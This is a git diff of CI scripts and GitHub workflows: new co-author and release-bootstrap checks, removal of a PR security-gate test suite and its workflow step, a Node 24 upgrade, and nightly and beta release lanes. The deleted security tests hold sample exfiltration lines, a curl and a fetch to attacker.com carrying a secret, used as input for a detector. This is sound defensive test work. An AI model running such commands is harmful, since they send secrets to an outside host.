'tonio-alucema' + ); + + assert.deepEqual(byName.informational, []); + assert.deepEqual(byEmail.informational, []); +}); + +test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => { + // The mixed case: GitHub resolved one commit to the login and left another + // unmatched, both carrying the same email. Keying on login alone emits two + // trailers for one contributor. + const result = checkCoauthors( + [ + commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'), + { author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } }, + ], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); diff --git a/.github/scripts/tests/check-pr-release-bootstrap.test.mjs b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs new file mode 100644 index 00000000000..ad631c61ffe --- /dev/null +++ b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs @@ -0,0 +1,265 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { + addedWorkspaceDependencyNames, + checkReleaseBootstrap, +} from '../check-pr-release-bootstrap.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +function encodeManifest(entries) { + return { content: Buffer.from(JSON.stringify(entries)).toString('base64') }; +} + +function stubGitHub({ base = [], head = [] }) { + return async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head); + if (path.includes(`/contents/`)) return encodeManifest(base); + throw new Error(`unexpected fetch: ${path}`); + }; +} + +const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' }; + +test('does nothing (and fetches nothing) when the manifest is untouched', async () => { + const result = await checkReleaseBootstrap( + [{ filename: 'server/src/index.ts', status: 'modified' }], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async () => { throw new Error('should not fetch'); }, + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('notices a new publishFromCi:true package that is missing from npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }], + head: [ + { dir: 'a', name: '@paperclipai/existing', publishFromCi: true }, + { dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => name !== '@paperclipai/brand-new', + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/brand-new/); + assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/); + assert.match(result.informational[0], /No contributor action/); +}); + +test('stays quiet when the new package already exists on npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }], + }), + registryPackageExists: async () => true, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('notices a publishFromCi flip from false to true on a missing package', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }], + head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/flipped/); +}); + +test('notices a publishFromCi:false package that published packages newly depend on', async () => { + const files = [ + manifestChangedFile, + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",', + }, + ]; + + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /depend on it/); + assert.match(result.informational[0], /"publishFromCi": true/); + assert.match(result.informational[0], /drop the workspace dependency/); +}); + +test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => { + const files = [ + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",', + }, + ]; + + const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }]; + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/); + assert.match(result.informational[0], /depend on it/); +}); + +test('stays quiet for a publishFromCi:false package nothing depends on', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }], + }), + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('never looks up names outside the @paperclipai scope', async () => { + const lookedUp = []; + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [ + { dir: 'x', name: '@evil/probe', publishFromCi: true }, + { dir: 'y', name: 'unscoped-name', publishFromCi: true }, + { dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => { + lookedUp.push(name); + return false; + }, + } + ); + + assert.deepEqual(lookedUp, []); + assert.deepEqual(result.informational, []); +}); + +test('stays quiet when the registry lookup fails', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }], + }), + registryPackageExists: async () => { throw new Error('registry down'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('treats a missing base manifest as empty (every head entry is new)', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) { + return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]); + } + throw new Error('404 base manifest'); + }, + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); +}); + +test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => { + const names = addedWorkspaceDependencyNames([ + { + filename: 'server/package.json', + patch: [ + '@@ -1,3 +1,4 @@', + ' "@paperclipai/context-line": "workspace:*",', + '- "@paperclipai/removed-dep": "workspace:*",', + '+ "@paperclipai/added-dep": "workspace:*",', + ].join('\n'), + }, + { filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' }, + { filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' }, + ]); + + assert.deepEqual([...names], ['@paperclipai/added-dep']); +}); diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs deleted file mode 100644 index 637e2c50b45..00000000000 --- a/.github/scripts/tests/check-pr-security.test.mjs +++ /dev/null @@ -1,380 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert/strict'; -import { - buildAdvisoryPayload, - findExistingDraftAdvisory, - postSecurityCheckRun, - scanSecrets, - scanCITampering, - scanBuildScripts, - scanSupplyChain, - scanTestPatterns, - scanSensitivePaths, - startScriptWatchdog, - syncDraftAdvisory, - validateSensitivePaths, -} from '../check-pr-security.mjs'; -import { ghFetch } from '../get-bot-token.mjs'; - -// ── scanSecrets ────────────────────────────────────────────────────────────── - -test('scanSecrets: flags OpenAI key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: flags AWS key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: ignores removed lines', () => { - const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.equal(scanSecrets(files).length, 0); -}); - -test('scanSecrets: ignores files without patch', () => { - assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0); -}); - -// ── scanCITampering ────────────────────────────────────────────────────────── - -test('scanCITampering: flags workflow file changes', () => { - const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }]; - assert.ok(scanCITampering(files).length > 0); -}); - -test('scanCITampering: ignores non-workflow files', () => { - const files = [{ filename: 'src/foo.ts', status: 'modified' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -test('scanCITampering: ignores removed workflow files', () => { - const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -// ── scanBuildScripts ───────────────────────────────────────────────────────── - -test('scanBuildScripts: flags changes to release.sh', () => { - const files = [{ filename: 'scripts/release.sh', status: 'modified' }]; - assert.ok(scanBuildScripts(files).length > 0); -}); - -test('scanBuildScripts: ignores non-CI scripts', () => { - const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }]; - assert.equal(scanBuildScripts(files).length, 0); -}); - -// ── scanSupplyChain ────────────────────────────────────────────────────────── - -test('scanSupplyChain: flags net-new packages in lockfile', () => { - const patch = `@@ -1,3 +1,4 @@ - packages: -+ 'evil-package@1.0.0': - 'existing-package@2.0.0': -- 'old-package@1.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.ok(flags.length > 0); - assert.ok(flags[0].packages.includes('evil-package')); -}); - -test('scanSupplyChain: does not flag version-only bumps', () => { - const patch = `@@ -1,3 +1,3 @@ - packages: -- 'existing-package@1.0.0': -+ 'existing-package@2.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0: - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('scanSupplyChain: ignores peer suffixes when matching package names', () => { - const patch = `@@ -1,2 +1,2 @@ --@scope/pkg@1.0.0(react@18.2.0): -+@scope/pkg@2.0.0(react@18.2.0): -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0(react@18.2.0): - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => { - const calls = []; - const fakeFetch = async (path) => { - calls.push(path); - if (/[?&]page=1(?:&|$)/.test(path)) { - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` })); - } - if (/[?&]page=2(?:&|$)/.test(path)) { - return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return []; - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' }); - assert.equal(calls.length, 2); -}); - -test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => { - const fakeFetch = async () => [{ summary: 'Completely different advisory' }]; - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - assert.equal(advisory, null); -}); - -test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => { - let pageCount = 0; - const fakeFetch = async () => { - pageCount += 1; - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` })); - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.equal(advisory, null); - assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`); -}); - -test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => { - const calls = []; - const flags = [ - { check: 'ci-tampering', file: '.github/workflows/pr.yml' }, - { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' }, - ]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234'); - assert.equal(calls[1].options.method, 'PATCH'); - const patchBody = JSON.parse(calls[1].options.body); - const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags); - assert.deepEqual(patchBody, expectedPatch); - assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)'); -}); - -test('syncDraftAdvisory: creates a new advisory when none exists', async () => { - const calls = []; - const flags = [{ check: 'supply-chain', packages: ['evil-package'] }]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return []; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories'); - assert.equal(calls[1].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags)); -}); - -test('postSecurityCheckRun: uses the injected fetch implementation', async () => { - const calls = []; - - await postSecurityCheckRun(async (path, token, options) => { - calls.push({ path, token, options }); - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 'deadbeef', true); - - assert.equal(calls.length, 1); - assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs'); - assert.equal(calls[0].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[0].options.body), { - name: 'security-review', - head_sha: 'deadbeef', - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - }); -}); - -test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => { - const seenPaths = []; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'release/1.2', - async (path) => { - seenPaths.push(path); - return { ok: true }; - }, - ); - - assert.deepEqual(stale, []); - assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2'))); - assert.ok(!seenPaths.some(path => path.includes('ref=master'))); -}); - -test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => { - let seen404 = false; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async (path) => { - if (!seen404) { - seen404 = true; - throw new Error('GitHub API GET /contents/foo → 404: missing'); - } - return { ok: true }; - }, - ); - - assert.equal(stale.length, 1); - - await assert.rejects( - validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async () => { - throw new Error('GitHub API GET /contents/foo → 500: boom'); - }, - ), - /500: boom/ - ); -}); - -// ── scanTestPatterns ───────────────────────────────────────────────────────── - -test('scanTestPatterns: flags outbound fetch in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ const res = await fetch('https://attacker.com/collect')`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: flags execSync in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: ignores suspicious patterns in non-test files', () => { - const files = [{ - filename: 'src/api.ts', - patch: `+ const res = await fetch('https://api.example.com')`, - }]; - assert.equal(scanTestPatterns(files).length, 0); -}); - -test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => { - const files = [{ - filename: 'src/__tests__/foo.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -// ── scanSensitivePaths ─────────────────────────────────────────────────────── - -test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => { - const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => { - const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: ignores unrelated paths', () => { - const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -test('scanSensitivePaths: ignores removed files even on sensitive paths', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -// ── startScriptWatchdog ────────────────────────────────────────────────────── - -test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - startScriptWatchdog(20, fakeExit); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now'); -}); - -test('startScriptWatchdog: cleared timer never fires', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - const timer = startScriptWatchdog(20, fakeExit); - clearTimeout(timer); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, null, 'cleared watchdog must not call exit'); -}); - -// ── ghFetch timeout ────────────────────────────────────────────────────────── - -test('ghFetch: aborts the request when the per-call timeout elapses', async () => { - const originalFetch = globalThis.fetch; - // Replace global fetch with one that respects the AbortSignal but never resolves on its own. - globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => { - init?.signal?.addEventListener('abort', () => { - const err = new Error('aborted'); - err.name = 'AbortError'; - reject(err); - }, { once: true }); - }); - - try { - const start = Date.now(); - await assert.rejects( - ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }), - /aborted|abort/i, - ); - const elapsed = Date.now() - start; - assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`); - } finally { - globalThis.fetch = originalFetch; - } -}); diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml index 6b712277294..4078244d794 100644 --- a/.github/workflows/commitperclip-review.yml +++ b/.github/workflows/commitperclip-review.yml @@ -9,7 +9,6 @@ on: permissions: pull-requests: write - security-events: write checks: write contents: read @@ -32,7 +31,7 @@ jobs: - name: Set up Node uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '24' - name: Generate commitperclip token id: token @@ -55,16 +54,6 @@ jobs: PR_AUTHOR: ${{ github.event.pull_request.user.login }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} - - name: Run security gates - run: node .github/scripts/check-pr-security.mjs - continue-on-error: true - timeout-minutes: 3 - env: - GH_TOKEN: ${{ steps.token.outputs.value }} - GH_REPO: ${{ github.repository }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_AUTHOR: ${{ github.event.pull_request.user.login }} - - name: Fail if quality gates failed if: >- github.event.pull_request.user.login != 'dependabot[bot]' && diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index ba9c25e4009..549595dbe38 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -6,6 +6,13 @@ on: - "master" tags: - "v*" + - "nightly/v*" + - "beta/v*" + # Release workflows push lane tags with GITHUB_TOKEN, and GitHub suppresses + # push-triggered runs for those, so release.yml dispatches this workflow at + # the new tag ref instead. The tag mapping below keys off github.ref either + # way. + workflow_dispatch: permissions: contents: read @@ -40,7 +47,19 @@ jobs: id: build-version run: | set -euo pipefail - version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + case "${GITHUB_REF}" in + refs/tags/nightly/v*) + # Lane tags carry the exact published version; stamp it verbatim + # instead of describing drift from the nearest stable tag. + version="${GITHUB_REF#refs/tags/nightly/v}" + ;; + refs/tags/beta/v*) + version="${GITHUB_REF#refs/tags/beta/v}" + ;; + *) + version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + ;; + esac echo "version=${version}" >> "$GITHUB_OUTPUT" echo "Stamping build version: ${version:-}" @@ -63,7 +82,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | @@ -131,15 +150,21 @@ jobs: echo "last=${last}" >> "$GITHUB_OUTPUT" echo "count=${count}" >> "$GITHUB_OUTPUT" + # Lane tag mapping: master pushes publish `:canary`, nightly/v* tags + # publish `:nightly`, and only stable v* tags move `:latest` and the + # versioned tags. `:sha-` is published on every build. - name: Docker meta id: meta uses: docker/metadata-action@v6 with: images: ghcr.io/${{ github.repository }} tags: | - type=raw,value=latest,enable={{is_default_branch}} - type=semver,pattern={{version}} - type=semver,pattern={{major}}.{{minor}} + type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }} + type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }} + type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }} + type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} type=sha labels: | io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }} @@ -197,7 +222,19 @@ jobs: id: build-version run: | set -euo pipefail - version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + case "${GITHUB_REF}" in + refs/tags/nightly/v*) + # Lane tags carry the exact published version; stamp it verbatim + # instead of describing drift from the nearest stable tag. + version="${GITHUB_REF#refs/tags/nightly/v}" + ;; + refs/tags/beta/v*) + version="${GITHUB_REF#refs/tags/beta/v}" + ;; + *) + version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + ;; + esac echo "version=${version}" >> "$GITHUB_OUTPUT" echo "Stamping build version: ${version:-}" @@ -220,7 +257,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | @@ -288,8 +325,9 @@ jobs: echo "last=${last}" >> "$GITHUB_OUTPUT" echo "count=${count}" >> "$GITHUB_OUTPUT" - # Published under the same tag set with a `-cloud` suffix - # (sha--cloud, latest-cloud, -cloud). + # Published under the same lane tag set as the self-hosted image, with a + # `-cloud` suffix (canary-cloud, nightly-cloud, latest-cloud, + # -cloud, sha--cloud). - name: Docker meta (cloud) id: meta-cloud uses: docker/metadata-action@v6 @@ -298,9 +336,12 @@ jobs: flavor: | suffix=-cloud,onlatest=true tags: | - type=raw,value=latest,enable={{is_default_branch}} - type=semver,pattern={{version}} - type=semver,pattern={{major}}.{{minor}} + type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }} + type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }} + type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }} + type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} type=sha labels: | io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }} diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 68042c04963..1b5159a0726 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -24,7 +24,7 @@ jobs: - uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - run: pnpm install --frozen-lockfile diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 097692cdecb..b1f41389593 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -49,11 +49,16 @@ jobs: - name: Validate Dockerfile deps stage run: node ./scripts/check-docker-deps-stage.mjs + - name: Validate Node version policy + run: pnpm check:node-version + - name: Reject git push in adapter/runtime code run: node ./scripts/check-no-git-push.mjs - name: Test no-git-push check run: node --test ./scripts/check-no-git-push.test.mjs + - name: Test PR quality-gate scripts + run: node --test '.github/scripts/tests/*.test.mjs' - name: Test general-server shard partition run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs @@ -174,8 +179,20 @@ jobs: group_label: server (5/5) shard_index: 4 shard_count: 5 + # workspaces-a was the slowest check in the fully-green PR run + # 31371439296 (2026-08-10) at 319s, with the ui project's single + # vitest invocation accounting for ~224s and the paperclipai CLI + # ~37s. Two shards use Vitest's native --shard on each project's + # file list (ui: 439 files, cli: 54), bringing each job to roughly + # half the suite time (~130s + setup) without a duration manifest. - group: general-workspaces-a - group_label: workspaces-a + group_label: workspaces-a (1/2) + shard_index: 0 + shard_count: 2 + - group: general-workspaces-a + group_label: workspaces-a (2/2) + shard_index: 1 + shard_count: 2 - group: general-workspaces-b group_label: workspaces-b @@ -275,9 +292,11 @@ jobs: fail-fast: false matrix: include: - # A successful PR run on 2026-08-04 (30876682788) spent 256s in - # serialized shard 2/4, making its 305s job the run's slowest check. - # Five shards reduce the measured 739s suite total to about 148s per + # A successful PR run on 2026-08-17 (32012408876) spent 291s in + # serialized shard 1/5 while its siblings ran 170-201s: round-robin + # clustered the heavy suites on one runner. Shards are now balanced + # by recorded duration (scripts/serialized-shard-durations.json), + # which levels the measured 968s suite total to about 194s per # runner before setup overhead. - shard_index: 0 shard_count: 5 diff --git a/.github/workflows/refresh-lockfile.yml b/.github/workflows/refresh-lockfile.yml index 06546bbb735..49ac2176e7f 100644 --- a/.github/workflows/refresh-lockfile.yml +++ b/.github/workflows/refresh-lockfile.yml @@ -31,7 +31,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - name: Refresh pnpm lockfile diff --git a/.github/workflows/release-smoke.yml b/.github/workflows/release-smoke.yml index 923bb896a3e..5ec66da8a69 100644 --- a/.github/workflows/release-smoke.yml +++ b/.github/workflows/release-smoke.yml @@ -10,6 +10,8 @@ on: type: choice options: - canary + - nightly + - beta - latest host_port: description: Host port for the Docker smoke container @@ -69,6 +71,7 @@ jobs: HOST_PORT="${{ inputs.host_port }}" \ DATA_DIR="$RUNNER_TEMP/release-smoke-data" \ PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \ + SMOKE_READY_TIMEOUT_SECONDS=420 \ SMOKE_DETACH=true \ SMOKE_METADATA_FILE="$metadata_file" \ ./scripts/docker-onboard-smoke.sh diff --git a/.github/workflows/release-verify.yml b/.github/workflows/release-verify.yml index cac52d75b5d..df146e7faac 100644 --- a/.github/workflows/release-verify.yml +++ b/.github/workflows/release-verify.yml @@ -64,8 +64,16 @@ jobs: group_label: server (3/3) shard_index: 2 shard_count: 3 + # Keep parity with pr.yml: workspaces-a is split with Vitest's + # native --shard because the ui project dominates the lane. - group: general-workspaces-a - group_label: workspaces-a + group_label: workspaces-a (1/2) + shard_index: 0 + shard_count: 2 + - group: general-workspaces-a + group_label: workspaces-a (2/2) + shard_index: 1 + shard_count: 2 - group: general-workspaces-b group_label: workspaces-b diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index d46cf1fb594..29abc996c5c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -4,10 +4,22 @@ on: push: branches: - master + schedule: + # Nightly cut at 09:00 UTC, after the workday's merges have settled. + - cron: "0 9 * * *" workflow_dispatch: inputs: + channel: + description: Release channel to publish + required: true + type: choice + options: + - stable + - beta + - nightly + default: stable source_ref: - description: Commit SHA, branch, or tag to publish as stable + description: (stable) Commit SHA, branch, or tag to publish as stable required: true type: string default: master @@ -15,8 +27,20 @@ on: description: Enter a UTC date in YYYY-MM-DD format, for example 2026-03-18. Do not enter a version string. The workflow will resolve that date to a stable version such as 2026.318.0, then 2026.318.1 for the next same-day stable. required: false type: string + source_version: + description: For nightly, the explicit canary version to promote (empty selects the newest canary on master). For beta, the explicit nightly version to promote (empty selects the newest nightly on master). + required: false + type: string + candidate_branch: + description: (beta) candidate/beta-* branch to build a cherry-picked beta from. Leave empty to promote a nightly. Mutually exclusive with source_version. + required: false + type: string + 